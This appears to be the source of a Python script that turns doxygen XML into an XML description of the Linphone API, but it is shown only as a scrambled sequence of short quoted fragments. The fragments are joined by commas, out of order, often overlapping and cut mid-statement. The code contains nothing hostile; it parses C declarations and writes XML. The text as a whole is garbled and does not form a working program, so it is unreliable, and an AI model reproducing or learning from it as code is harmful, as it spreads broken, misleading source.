self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning =", "locationNode is not None: f.location = locationNode.get('file') if not f.location.endswith('.h'):", "for value in cenum.values: enumValuesNodeAttributes = { 'name' : value.name,", "reverse = True) for e in self.__events: eventAdded = False", "def __init__(self, outputfile): self.__outputfile = outputfile def __generateEnum(self, cenum, enumsNode):", "'type' : arg.ctype, 'completetype' : arg.completeType } if arg.containedType is", "= argparse.ArgumentParser(description=\"Generate XML version of the Linphone API.\") argparser.add_argument('-o', '--outputfile',", "methodname.replace(cclass.cFunctionPrefix, '') if methodname_without_prefix == 'ref': has_ref_method = True elif", "for c in self.classes: if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded", "= None keywords = [ 'const', 'struct', 'enum', 'signed', 'unsigned',", "2014 Belledonne Communications SARL # # This program is free", "\"' parameter not documented\\n\"; if missingDocWarning != '': print(name +", "'' argNameNode = argNode.find('./declname') if argNameNode is not None: argName", "or returnarg.ctype == 'bctbx_list_t': n = returndesc.find('.//bctbxlist') if n is", "= [] self.associatedTypedef = None def addValue(self, value): self.values.append(value) class", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: s.deprecated = True s.briefDescription", "has_ref_method = True elif methodname_without_prefix == 'unref': has_unref_method = True", "== None: missingDocWarning += \"\\t'\" + arg.name + \"' parameter", "for n in para.findall('.//ref'): n.attrib = {} for n in", "= CProperty(name) self.properties[name] = prop self.properties[name].setter = f def __addClassMethod(self,", "!= '': print(name + \":\\n\" + missingDocWarning) f = CEvent(name,", "print(\"\\t\" + ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose: print(\"Adding", "result is correct eg. for 'unsigned short' for s in", "methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode =", "output verbosity\", action='store_true') argparser.add_argument('--pretty', help=\"XML pretty print\", action='store_true') argparser.add_argument('xmldir', help=\"XML", "self.enums: if (e.associatedTypedef is None) and td.definition[5:] == e.name: e.associatedTypedef", "version. # # This program is distributed in the hope", "'values') for value in cenum.values: enumValuesNodeAttributes = { 'name' :", "# GNU General Public License for more details. # #", "you can redistribute it and/or # modify it under the", "!= 'void': argslist.addArgument(CArgument(argType, argName, self.enums, self.__structs)) if len(argslist) > 0:", "'*' ] fullySplittedType = [] splittedType = t.strip().split(' ') for", "arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist') if n is not", "for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) >", "missingDocWarning = '' for arg in argslist.arguments: if arg.description ==", "if cclass.properties[propname].setter is not None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription", "cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode, 'classmethods') methodnames", "deprecatedNode is not None: sm.deprecated = True sm.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip()", "'.join(argstr) class CFunction(CObject): def __init__(self, name, returnarg, argslist): CObject.__init__(self, name)", "__init__(self, st): CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated =", "len(c.name), reverse = True) for e in self.__events: eventAdded =", "in memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node): if", "'): for st in self.__structs: if st.associatedTypedef == td: cclass", "arg.description = self.__cleanDescription(paramdesc.find('./parameterdescription')) missingDocWarning = '' for arg in argslist.arguments:", "td structFound = True break if not structFound: name =", "class CArgumentsList: def __init__(self): self.arguments = [] def addArgument(self, arg):", "if not eventAdded: for c in self.classes: if e.name.startswith(c.name): c.addEvent(e)", "= { 'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower() } if", "None keywords = [ 'const', 'struct', 'enum', 'signed', 'unsigned', 'short',", "f def addEvent(self, ev): if not ev.name in self.events: self.events[ev.name]", "print(\"Adding class \" + elem.name) self.classes.append(elem) elif isinstance(elem, CEnum): if", "'LINPHONE_DEPRECATED' in fullySplittedType: fullySplittedType.remove('LINPHONE_DEPRECATED') isStruct = False isEnum = False", "program is free software; you can redistribute it and/or #", "in definition.split(', '): argType = '' starPos = argdef.rfind('*') spacePos", "s if s == 'struct': isStruct = True if s", "for f in self.__functions: for c in self.classes: if c.cFunctionPrefix", "elem): if isinstance(elem, CClass): if self.verbose: print(\"Adding class \" +", "descriptionNode.findall('./para'): for n in para.findall('./parameterlist'): para.remove(n) for n in para.findall(\"./simplesect[@kind='return']\"):", "td.definition[7:] print(\"Structure with no associated typedef: \" + name) st", "2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments) == 2 and", "ET.SubElement(functionNode, 'arguments') for arg in f.arguments: argumentNodeAttributes = { 'name'", "General Public License for more details. # # You should", "None and p.setter is not None: print(\"Property '\" + name", "propertyNodeAttributes = { 'name' : propname } propertyNode = ET.SubElement(propertiesNode,", "self.verbose: print(\"Parsing XML file: \" + f.name) tree = ET.parse(f)", "else: self.__addClassMethod(f) class Project: def __init__(self): self.verbose = False self.prettyPrint", "e: print(e) if tree is not None: trees.append(tree) for tree", "CEvent(CFunction): pass class CProperty: def __init__(self, name): self.name = name", "self.__typedefs: if td.definition.startswith('enum '): for e in self.enums: if (e.associatedTypedef", "len(cclass.instanceMethods) == 0 and len(cclass.properties) == 0: return # Check", "> 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*') else: fullySplittedType.append(s) if", "in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext())", "= f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and len(f.arguments) == 1: self.__addPropertyGetter(name[4:], f)", "f.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if", "even the implied warranty of # MERCHANTABILITY or FITNESS FOR", "\" + self.name class CArgumentsList: def __init__(self): self.arguments = []", "API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file describing the", "len(f.arguments) == 2 and f.arguments[1].ctype == 'bool_t': self.__addPropertySetter(name[7:] + '_enabled',", "+ arg.name + \"' parameter not documented\\n\"; f = CFunction(name,", "is not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for arg", "describing the Linphone API.\") argparser.add_argument('--verbose', help=\"Increase output verbosity\", action='store_true') argparser.add_argument('--pretty',", "return None initializer = initializer[1:] initializer.strip() return initializer def __parseCEnumValue(self,", "None: f.location = locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning += \"\\tNot", "== 'destroy': has_destroy_method = True refcountable = False destroyable =", "self.enums, structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is", "self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode = ET.SubElement(classNode,", "self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties) > 0: propertiesNode = ET.SubElement(classNode,", "td.briefDoc self.add(st) self.add(cclass) # Sort classes by length of name", "ev = CEnumValue(node.find('./name').text) initializerNode = node.find('./initializer') if initializerNode is not", "+ \"' has a setter but no getter\") class Generator:", "= ET.parse(f) except ET.ParseError as e: print(e) if tree is", "CObject.__init__(self, name) self.ctype = t.strip() class CStruct(CObject): def __init__(self, name):", "classesNode = ET.SubElement(apiNode, 'classes') project.classes.sort(key = lambda c: c.name) for", "True if args.pretty: project.prettyPrint = True project.initFromDir(args.xmldir) project.check() gen =", "= [] for methodname in cclass.classMethods: methodnames.append(methodname) methodnames.sort() for methodname", "Fifth Floor, Boston, MA 02110-1301, USA. import argparse import os", "n.tag = 'see' n.text = t for n in para.findall(\"./simplesect[@kind='note']\"):", "+ elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction):", "enumNodeAttributes = { 'name' : cenum.name, 'deprecated' : str(cenum.deprecated).lower() }", "[] self.associatedTypedef = None def addMember(self, member): self.members.append(member) class CTypedef(CObject):", "self.instanceMethods = {} self.properties = {} self.__computeCFunctionPrefix() def __computeCFunctionPrefix(self): self.cFunctionPrefix", "classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription) def generate(self,", "= None try: if self.verbose: print(\"Parsing XML file: \" +", "= definition.find(\"(\") definition = definition[pos + 1 : -1] argslist", "def __getitem__(self, key): return self.arguments[key] def __str__(self): argstr = []", "self.__generateFunction(eventsNode, 'event', cclass.events[eventname]) if len(cclass.classMethods) > 0: classMethodsNode = ET.SubElement(classNode,", ": pos] td = CTypedef(name, definition) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if", "and len(cclass.properties) == 0: return # Check the capabilities of", "elif name.startswith('set_') and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_')", "node.find('./initializer') if initializerNode is not None: ev.value = self.__parseCEnumValueInitializer(initializerNode.text) deprecatedNode", "print(\"Adding enum \" + elem.name) for ev in elem.values: print(\"\\t\"", "document of Linphone API to '\" + self.__outputfile.name + \"'\")", "\" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self,", "self.add(cclass) # Sort classes by length of name (longest first),", "self.__cleanDescription(node.find('./detaileddescription')) return td return None def __findCTypedef(self, tree): memberdefs =", ": len(c.cFunctionPrefix)]: c.addMethod(f) break def __parseCEnumValueInitializer(self, initializer): initializer = initializer.strip()", "'enum', 'signed', 'unsigned', 'short', 'long', '*' ] fullySplittedType = []", "that methods are put in the right class self.classes.sort(key =", "self.initFromFiles(files) def check(self): for c in self.classes: for name, p", "node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: e.deprecated = True e.briefDescription", "= self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() == '':", "methodnames.sort() for methodname in methodnames: self.__generateFunction(instanceMethodsNode, 'instancemethod', cclass.instanceMethods[methodname]) if len(cclass.properties)", "= True elif methodname_without_prefix == 'unref': has_unref_method = True elif", "fullySplittedType.append('*') if len(s) > 1: fullySplittedType.append(s[1:]) elif s.endswith('*'): fullySplittedType.append(s[:-1]) fullySplittedType.append('*')", "2 # of the License, or (at your option) any", "+ td.definition) == td.name: st = CStruct(td.name) st.associatedTypedef = td", "propname } propertyNode = ET.SubElement(propertiesNode, 'property', propertyNodeAttributes) if cclass.properties[propname].getter is", "name) self.returnArgument = returnarg self.arguments = argslist self.location = None", "= True if len(st.associatedTypedef.briefDescription) > 0: self.briefDescription = st.associatedTypedef.briefDescription elif", "not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument', argumentNodeAttributes)", "n in para.findall(\"./simplesect[@kind='return']\"): para.remove(n) for n in para.findall(\"./simplesect[@kind='see']\"): t =", "argslist.arguments: for paramdesc in paramdescs: if arg.name == paramdesc.find('./parameternamelist').find('./parametername').text: arg.description", "n.clear() n.tag = 'see' n.text = t for n in", "+ '_enabled', f) else: if not f.name in self.instanceMethods: self.instanceMethods[f.name]", "print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__events.append(elem) elif", "== 'ref': has_ref_method = True elif methodname_without_prefix == 'unref': has_unref_method", "arg.ctype == 'MSList' or arg.ctype == 'bctbx_list_t': n = paramdesc.find('.//bctbxlist')", "= ET.SubElement(apiNode, 'enums') for cenum in project.enums: self.__generateEnum(cenum, enumsNode) if", "print(name + \":\\n\" + missingDocWarning) return f def __findCFunction(self, tree):", "self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node): if", "if returndesc is not None: if returnarg.ctype == 'MSList' or", "CObject.__init__(self, name) self.value = None class CEnum(CObject): def __init__(self, name):", "propnames = [] for propname in cclass.properties: propnames.append(propname) propnames.sort() for", "node.find('./definition').text t = definition[0:definition.find(structname + \"::\" + name)] sm =", "CProperty(name) self.properties[name] = prop self.properties[name].getter = f def __addPropertySetter(self, name,", "None locationNode = node.find('./location') if locationNode is not None: f.location", "xml.etree.ElementTree as ET import xml.dom.minidom as minidom import metadoc class", "class CEvent(CFunction): pass class CProperty: def __init__(self, name): self.name =", "= ''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription", "!= '': classBriefDescriptionNode = ET.SubElement(classNode, 'briefdescription') classBriefDescriptionNode.text = cclass.briefDescription classNode.append(cclass.detailedDescription)", "CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None:", "elif isinstance(elem, CTypedef): if self.verbose: print(\"Adding typedef \" + elem.name)", "returnarg.description = self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning += \"\\tReturn", "so that methods are put in the right class self.classes.sort(key", "str(elem.arguments)) self.__events.append(elem) elif isinstance(elem, CFunction): if self.verbose: print(\"Adding function \"", "td.briefDescription = ''.join(node.find('./briefdescription').itertext()).strip() td.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) td.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return", "self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree) self.__discoverClasses() def initFromDir(self, xmldir):", "functionAttributes) returnValueAttributes = { 'type' : f.returnArgument.ctype, 'completetype' : f.returnArgument.completeType", "in project.classes: self.__generateClass(cclass, classesNode) s = '<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\\n'.encode('utf-8')", "?>\\n'.encode('utf-8') s += ET.tostring(apiNode, 'utf-8') if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t')", "documented\\n\" definition = definition[pos + 2 :] pos = definition.find(\"(\")", "argNode in argslistNode: argType = ''.join(argNode.find('./type').itertext()) argName = '' argNameNode", "ev): if not ev.name in self.events: self.events[ev.name] = ev def", "st = CStruct(td.name) st.associatedTypedef = td cclass = CClass(st) cclass.briefDoc", "= 'description' if descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib", "self.__cleanDescription(returndesc) elif returnarg.completeType != 'void': missingDocWarning += \"\\tReturn value is", "first = False self.cFunctionPrefix += '_' def __addPropertyGetter(self, name, f):", "''.join(node.find('./briefdescription').itertext()).strip() f.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription ==", "not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments') for arg in", "False has_unref_method = False has_destroy_method = False for methodname in", "= open('api.xml', 'w') project = Project() if args.verbose: project.verbose =", "print(\"Property '\" + name + \"' of class '\" +", "self.verbose: print(\"Adding event \" + elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype)", "ev.name) self.enums.append(elem) elif isinstance(elem, CStruct): if self.verbose: print(\"Adding struct \"", "= None self.setter = None class CClass(CObject): def __init__(self, st):", "= CArgument(t, enums = self.enums, structs = self.__structs) returndesc =", "enumBriefDescriptionNode.text = cenum.briefDescription enumNode.append(cenum.detailedDescription) if len(cenum.values) > 0: enumValuesNode =", "in cenum.values: enumValuesNodeAttributes = { 'name' : value.name, 'deprecated' :", "l in self.name: if l.isupper() and not first: self.cFunctionPrefix +=", "initializer.strip() return initializer def __parseCEnumValue(self, node): ev = CEnumValue(node.find('./name').text) initializerNode", "__init__(self, name, t): CObject.__init__(self, name) self.ctype = t.strip() class CStruct(CObject):", "trees: self.__findCStruct(tree) for tree in trees: self.__findCTypedef(tree) for tree in", "for c in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self,", "for m in memberdefs: f = self.__parseCFunctionMemberdef(m) if f is", "for td in self.__typedefs: if td.definition.startswith('struct '): for st in", "argslist = CArgumentsList() for argdef in definition.split(', '): argType =", "if project.prettyPrint: s = minidom.parseString(s).toprettyxml(indent='\\t') self.__outputfile.write(s) def main(argv = None):", "= None self.deprecated = False self.briefDoc = None class CEnumValue(CObject):", "para.findall(\"./simplesect[@kind='see']\"): t = ''.join(n.itertext()) n.clear() n.tag = 'see' n.text =", "self.__addPropertySetter(name[7:] + '_enabled', f) else: if not f.name in self.instanceMethods:", "\" + f.name) tree = ET.parse(f) except ET.ParseError as e:", "+ \"' parameter not documented\\n\"; f = CFunction(name, returnarg, argslist)", "m in memberdefs: td = self.__parseCTypedefMemberdef(m) self.add(td) def __parseCFunctionMemberdef(self, node):", ": str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(), 'destroyable' : str(destroyable).lower() } #", "== 1: self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments) == 1", "CProperty(name) self.properties[name] = prop self.properties[name].setter = f def __addClassMethod(self, f):", "elif isinstance(elem, CStruct): if self.verbose: print(\"Adding struct \" + elem.name)", "= CArgumentsList() for argdef in definition.split(', '): argType = ''", "f.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) if f.briefDescription == '' and ''.join(f.detailedDescription.itertext()).strip() ==", "structname): name = node.find('./name').text definition = node.find('./definition').text t = definition[0:definition.find(structname", "no getter\") class Generator: def __init__(self, outputfile): self.__outputfile = outputfile", "not f.name in self.instanceMethods: self.instanceMethods[f.name] = f def addEvent(self, ev):", "enumValuesNodeAttributes) if value.briefDescription != '': valueBriefDescriptionNode = ET.SubElement(valueNode, 'briefdescription') valueBriefDescriptionNode.text", "initializer.startswith('='): return None initializer = initializer[1:] initializer.strip() return initializer def", "= node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if returndesc is not None: if returnarg.ctype ==", "== 0 and len(cclass.properties) == 0: return # Check the", "if not Project.__canBeWrapped(self, node): return None e = CEnum(node.find('./name').text) deprecatedNode", "pos == -1: return None returntype = definition[0:pos].strip() returnarg =", "self.add(e) def __parseCStructMember(self, node, structname): name = node.find('./name').text definition =", "} if f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode", "None self.deprecated = False self.briefDoc = None class CEnumValue(CObject): def", "True if has_destroy_method: destroyable = True classNodeAttributes = { 'name'", "of Linphone API to '\" + self.__outputfile.name + \"'\") apiNode", "arg in f.arguments: argumentNodeAttributes = { 'name' : arg.name, 'type'", "descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is None def __discoverClasses(self):", "0: enumValuesNode = ET.SubElement(enumNode, 'values') for value in cenum.values: enumValuesNodeAttributes", "generated by doxygen.\") args = argparser.parse_args() if args.outputfile == None:", "= 'description' descriptionNode.attrib = {} return descriptionNode def __canBeWrapped(self, node):", "name (longest first), so that methods are put in the", "methodname in methodnames: self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0:", "MA 02110-1301, USA. import argparse import os import six import", "is not None: f.location = locationNode.get('file') if not f.location.endswith('.h'): missingDocWarning", "self.__outputfile.name + \"'\") apiNode = ET.Element('api') project.enums.sort(key = lambda e:", "enumValuesNode = ET.SubElement(enumNode, 'values') for value in cenum.values: enumValuesNodeAttributes =", "== 'bool_t': self.__addPropertyGetter(name, f) elif name.startswith('set_') and len(f.arguments) == 2:", "= node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is not None: e.deprecated = True", "self.properties: prop = CProperty(name) self.properties[name] = prop self.properties[name].getter = f", "tree in trees: self.__findCTypedef(tree) for tree in trees: self.__findCFunction(tree) self.__discoverClasses()", "if returnarg.ctype == 'MSList' or returnarg.ctype == 'bctbx_list_t': n =", "self.add(f) def initFromFiles(self, xmlfiles): trees = [] for f in", "def __init__(self, t, name = '', enums = [], structs", "!= -1: definition = definition[0 : pos] td = CTypedef(name,", "metadoc class CObject: def __init__(self, name): self.name = name.strip() self.briefDescription", "= definition[8 :] if name.endswith('Cb'): pos = definition.find(\"(*\") if pos", "len(project.enums) > 0: enumsNode = ET.SubElement(apiNode, 'enums') for cenum in", "= False self.briefDoc = None class CEnumValue(CObject): def __init__(self, name):", "st = CStruct(name) st.associatedTypedef = td self.add(st) for td in", "self.properties[name].setter = f def __addClassMethod(self, f): if not f.name in", "apiNode = ET.Element('api') project.enums.sort(key = lambda e: e.name) if len(project.enums)", "print(\"Adding typedef \" + elem.name) print(\"\\t\" + elem.definition) self.__typedefs.append(elem) elif", "'): definition = definition[8 :] if name.endswith('Cb'): pos = definition.find(\"(*\")", "class CStruct(CObject): def __init__(self, name): CObject.__init__(self, name) self.members = []", "CObject.__init__(self, st.associatedTypedef.name) if st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True if", "it will be useful, # but WITHOUT ANY WARRANTY; without", "CObject.__init__(self, name) self.members = [] self.associatedTypedef = None def addMember(self,", "functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): # Do not include classes", "Belledonne Communications SARL # # This program is free software;", "is not None: self.detailedDescription = st.detailedDescription self.__struct = st self.events", "= {} return descriptionNode def __canBeWrapped(self, node): return node.find('./detaileddescription//donotwrap') is", "f is not None: self.add(f) def initFromFiles(self, xmlfiles): trees =", "self.__addPropertyGetter(name[4:], f) elif name.startswith('is_') and len(f.arguments) == 1 and f.returnArgument.ctype", "None: self.__generateFunction(propertyNode, 'setter', cclass.properties[propname].setter) if cclass.briefDescription != '': classBriefDescriptionNode =", "cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable' : str(refcountable).lower(),", "self.ctype = s if s == 'struct': isStruct = True", "= f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode): # Do not", "destroyable = False if has_ref_method and has_unref_method: refcountable = True", "classes that contain nothing if len(cclass.events) == 0 and len(cclass.classMethods)", "is not None: self.__generateFunction(propertyNode, 'getter', cclass.properties[propname].getter) if cclass.properties[propname].setter is not", "and len(f.arguments) == 2: self.__addPropertySetter(name[4:], f) elif name.startswith('enable_') and len(f.arguments)", "None: trees.append(tree) for tree in trees: self.__findCEnum(tree) for tree in", "hope that it will be useful, # but WITHOUT ANY", "pass class CProperty: def __init__(self, name): self.name = name self.getter", "enums = self.enums, structs = self.__structs) returndesc = node.find(\"./detaileddescription/para/simplesect[@kind='return']\") if", "= False self.prettyPrint = False self.enums = [] self.__structs =", "CObject.__init__(self, name) self.description = None self.containedType = None keywords =", "name) self.ctype = t.strip() class CStruct(CObject): def __init__(self, name): CObject.__init__(self,", "if st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription) >", "the License, or (at your option) any later version. #", "\"' of class '\" + c.name + \"' has a", "not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return', returnValueAttributes)", "self.__typedefs.append(elem) elif isinstance(elem, CEvent): if self.verbose: print(\"Adding event \" +", "f def __addInstanceMethod(self, f): name = f.name[len(self.cFunctionPrefix):] if name.startswith('get_') and", "descriptionNode.tag == 'simplesect': descriptionNode.tag = 'description' descriptionNode.attrib = {} return", "= definition[0:pos].strip() returnarg = CArgument(returntype, enums = self.enums, structs =", "__generateClass(self, cclass, classesNode): # Do not include classes that contain", "if f.returnArgument.containedType is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode =", "e.associatedTypedef.name if self.ctype == 'int' and 'int' not in fullySplittedType:", "CArgumentsList: def __init__(self): self.arguments = [] def addArgument(self, arg): self.arguments.append(arg)", "'name' : cclass.name, 'cfunctionprefix' : cclass.cFunctionPrefix, 'deprecated' : str(cclass.deprecated).lower(), 'refcountable'", "starPos + 1] argName = argdef[starPos + 1 :] elif", "= ''.join(node.find('./briefdescription').itertext()).strip() ev.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) ev.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) return ev", "value is not documented\\n\" definition = definition[pos + 2 :]", "General Public License # along with this program; if not,", "'int' not in fullySplittedType: if fullySplittedType[-1] == '*': fullySplittedType.insert(-1, 'int')", "print\", action='store_true') argparser.add_argument('xmldir', help=\"XML directory generated by doxygen.\") args =", "'enums') for cenum in project.enums: self.__generateEnum(cenum, enumsNode) if len(project.classes) >", "not None: trees.append(tree) for tree in trees: self.__findCEnum(tree) for tree", "self.__generateFunction(classMethodsNode, 'classmethod', cclass.classMethods[methodname]) if len(cclass.instanceMethods) > 0: instanceMethodsNode = ET.SubElement(classNode,", "0: propertiesNode = ET.SubElement(classNode, 'properties') propnames = [] for propname", "st in structs: if st.associatedTypedef is not None: self.ctype =", "name): self.name = name self.getter = None self.setter = None", "self.__addClassMethod(f) class Project: def __init__(self): self.verbose = False self.prettyPrint =", "argdef.rfind('*') spacePos = argdef.rfind(' ') if starPos != -1: argType", "'): argType = '' starPos = argdef.rfind('*') spacePos = argdef.rfind('", "= ''.join(node.find('./briefdescription').itertext()).strip() e.briefDoc = self.docparser.parse_description(node.find('./briefdescription')) e.detailedDescription = self.__cleanDescription(node.find('./detaileddescription')) enumvalues =", "import string import sys import xml.etree.ElementTree as ET import xml.dom.minidom", "if c.name.endswith('Cbs') and e.name.startswith(c.name): c.addEvent(e) eventAdded = True break if", "s.name) s.addMember(sm) return s def __findCStruct(self, tree): compounddefs = tree.findall(\"./compounddef[@kind='struct'][@prot='public']\")", "__generateEnum(self, cenum, enumsNode): enumNodeAttributes = { 'name' : cenum.name, 'deprecated'", "para.findall(\".//bctbx_list\"): para.remove(n) if descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description' if", "__init__(self, name): CObject.__init__(self, name) self.values = [] self.associatedTypedef = None", "is not None: argumentNodeAttributes['containedtype'] = arg.containedType argumentNode = ET.SubElement(argumentsNode, 'argument',", "elem.name) print(\"\\tReturns: \" + elem.returnArgument.ctype) print(\"\\tArguments: \" + str(elem.arguments)) self.__functions.append(elem)", "+ str(elem.arguments)) self.__functions.append(elem) def __cleanDescription(self, descriptionNode): for para in descriptionNode.findall('./para'):", "PURPOSE. See the # GNU General Public License for more", "st.deprecated or st.associatedTypedef.deprecated: self.deprecated = True if len(st.associatedTypedef.briefDescription) > 0:", "== -1: return None returntype = definition[0:pos].strip() returnarg = CArgument(returntype,", "sm = CStructMember(name, t) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\") if deprecatedNode is", "is not None: returnValueAttributes['containedtype'] = f.returnArgument.containedType returnValueNode = ET.SubElement(functionNode, 'return',", "not f.name in self.classMethods: self.classMethods[f.name] = f def __addInstanceMethod(self, f):", "None: argName = ''.join(argNameNode.itertext()) if argType != 'void': argslist.addArgument(CArgument(argType, argName,", "for e in self.enums: if (e.associatedTypedef is None) and td.definition[5:]", "version 2 # of the License, or (at your option)", "contain nothing if len(cclass.events) == 0 and len(cclass.classMethods) == 0", "if descriptionNode.tag == 'parameterdescription': descriptionNode.tag = 'description' if descriptionNode.tag ==", "ET.SubElement(functionNode, 'briefdescription') functionBriefDescriptionNode.text = f.briefDescription functionNode.append(f.detailedDescription) def __generateClass(self, cclass, classesNode):", "= [] def addArgument(self, arg): self.arguments.append(arg) def __len__(self): return len(self.arguments)", "if f.returnArgument.description is not None: returnValueNode.append(f.returnArgument.description) argumentsNode = ET.SubElement(functionNode, 'arguments')", "node for the class classNode = ET.SubElement(classesNode, 'class', classNodeAttributes) if", "+ missingDocWarning) f = CEvent(name, returnarg, argslist) deprecatedNode = node.find(\".//xrefsect[xreftitle='Deprecated']\")", "e.name) if len(project.enums) > 0: enumsNode = ET.SubElement(apiNode, 'enums') for", "return sm def __parseCStructCompounddef(self, node): s = CStruct(node.find('./compoundname').text) deprecatedNode =", "= node.findall(\"./detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg in argslist.arguments: for paramdesc", "for sm in elem.members: print(\"\\t\" + sm.ctype + \" \"", "self.__structs.append(elem) elif isinstance(elem, CTypedef): if self.verbose: print(\"Adding typedef \" +", "False self.ctype = 'int' # Default to int so that", "self.classes = [] self.docparser = metadoc.Parser() def add(self, elem): if", "str(f.deprecated).lower() } if f.location is not None: functionAttributes['location'] = f.location", "= self.__parseCFunctionMemberdef(m) if f is not None: self.add(f) def initFromFiles(self,", "st.detailedDescription is not None: self.detailedDescription = st.detailedDescription self.__struct = st", "= ''.join(argNode.find('./type').itertext()) argName = '' argNameNode = argNode.find('./declname') if argNameNode", "if isStruct: for st in structs: if st.associatedTypedef is not", "is free software; you can redistribute it and/or # modify", "[], structs = []): CObject.__init__(self, name) self.description = None self.containedType", "return None missingDocWarning = '' name = node.find('./name').text t =", "Linphone API.\") argparser.add_argument('-o', '--outputfile', metavar='outputfile', type=argparse.FileType('w'), help=\"Output XML file describing", "c in compounddefs: s = self.__parseCStructCompounddef(c) self.add(s) def __parseCTypedefMemberdef(self, node):", "len(argslist) > 0: paramdescs = node.findall(\"detaileddescription/para/parameterlist[@kind='param']/parameteritem\") if paramdescs: for arg", "in self.name: if l.isupper() and not first: self.cFunctionPrefix += '_'", "def __discoverClasses(self): for td in self.__typedefs: if td.definition.startswith('enum '): for", "= self.__cleanDescription(node.find('./detaileddescription')) return ev def __parseCEnumMemberdef(self, node): if not Project.__canBeWrapped(self,", "in methodnames: 